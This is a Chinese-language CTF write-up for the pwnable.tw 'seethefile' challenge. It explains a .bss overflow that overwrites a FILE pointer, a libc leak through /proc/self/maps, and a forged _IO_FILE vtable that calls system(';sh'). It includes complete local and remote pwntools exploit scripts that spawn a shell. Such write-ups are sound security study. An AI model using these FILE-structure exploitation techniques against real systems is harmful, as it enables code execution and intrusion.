第一次做 iofile 类型的题目,也花了不少时间去学习,照例记录一下吧。
代码审计 程序大致内容是,打开指定的文件,读出数据,打印出来,不能打开名为 flag 的文件。
case 5 : printf ("Leave your name :" ); __isoc99_scanf("%s" , name); printf ("Thank you %s ,see you next time\n" , name); if ( fp ) fclose(fp); exit (0 ); return result;
switch(5) 时,往 name 中输入数据时,有一个溢出漏洞。如下,name 在 .bss 段,而 fp 就在 name 下方 0x20 个字节处,故我们可以溢出 name 覆盖 fp。
.bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o .bss:0804B260 ; main+B4↑o .bss:0804B280 public fp .bss:0804B280 ; FILE *fp .bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r .bss:0804B280 ; openfile+AD↑w ... .bss:0804B280 _bss ends .bss:0804B280
思路 泄漏 libc 由于可以读取指定文件的数据,故可以直接利用 linux 的 proc 伪文件系统,读取 /proc/self/maps 即可获得libc 基址。不过一次只能读取 0x18 字节,可能要多读取几次。
openfile('/proc/self/maps' ) readfile() writefile() readfile() writefile() p.recvuntil('[heap]\n' ) libc_base = int (p.recv(8 ),16 )+0x1000 log_addr("libc_base" )
构造 _fake_file 32 位里 file 到 vtable 的偏移为 0x94,对于伪造 file,有如下解释:
偏移为 0 处设置为 0xffffdfff
偏移为 4 处设置为要执行的指令字符串
然后用垃圾字节填充至 vtable 处
fake_FILE = 0x804b280 +0x4 payload = b'a' *0x20 +p32(fake_FILE) payload+= p32(0xffffdfff )+b';sh' +b'\x00' *(0x94 -0x4 -0x3 ) payload+= p32(fake_FILE+0x90 )+p32(system_addr) exit_with_name(payload)
本题给的 libc 版本为 2.23 , libc2.24 以下的版本没有对虚表进行检查,所以直接伪造即可。
exp 本地 from tools import *p = process("./seethefile" ) debug(p,0x08048AE0 ) elf = ELF("./seethefile" ) libc = ELF("/home/wen/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6" ) def openfile (name ): p.sendlineafter("Your choice :" ,str (1 )) p.sendlineafter("What do you want to see :" ,name) def readfile (): p.sendlineafter("Your choice :" ,str (2 )) def writefile (): p.sendlineafter("Your choice :" ,str (3 )) def closefile (): p.sendlineafter("Your choice :" ,str (4 )) def exit_with_name (name ): p.sendlineafter("Your choice :" ,str (5 )) p.sendlineafter("Leave your name :" ,name) openfile('/proc/self/maps' ) readfile() writefile() readfile() writefile() p.recvuntil('[heap]\n' ) libc_base = int (p.recv(8 ),16 )+0x1000 log_addr("libc_base" ) system_addr = libc_base+libc.sym['system' ] fake_FILE = 0x804b280 +0x4 payload = b'a' *0x20 +p32(fake_FILE) payload+= p32(0xffffdfff )+b';sh' +b'\x00' *(0x94 -0x4 -0x3 ) payload+= p32(fake_FILE+0x90 )+p32(system_addr) exit_with_name(payload) p.interactive()
远程 from tools import *p = remote("chall.pwnable.tw" ,10200 ) debug(p,0x08048AE0 ) elf = ELF("./seethefile" ) libc = ELF("./libc_32.so.6" ) def openfile (name ): p.sendlineafter("Your choice :" ,str (1 )) p.sendlineafter("What do you want to see :" ,name) def readfile (): p.sendlineafter("Your choice :" ,str (2 )) def writefile (): p.sendlineafter("Your choice :" ,str (3 )) def closefile (): p.sendlineafter("Your choice :" ,str (4 )) def exit_with_name (name ): p.sendlineafter("Your choice :" ,str (5 )) p.sendlineafter("Leave your name :" ,name) openfile('/proc/self/maps' ) readfile() writefile() p.recvuntil('[heap]\n' ) libc_base = int (p.recv(8 ),16 )+0x1000 log_addr("libc_base" ) system = libc_base+libc.sym['system' ] fake_FILE = 0x804b280 +0x4 payload = b'a' *0x20 +p32(fake_FILE) payload+= p32(0xffffdfff )+b';sh' +b'\x00' *0x8d +p32(fake_FILE+0x98 ) payload+= p32(0 )*2 +p32(system) exit_with_name(payload) p.interactive()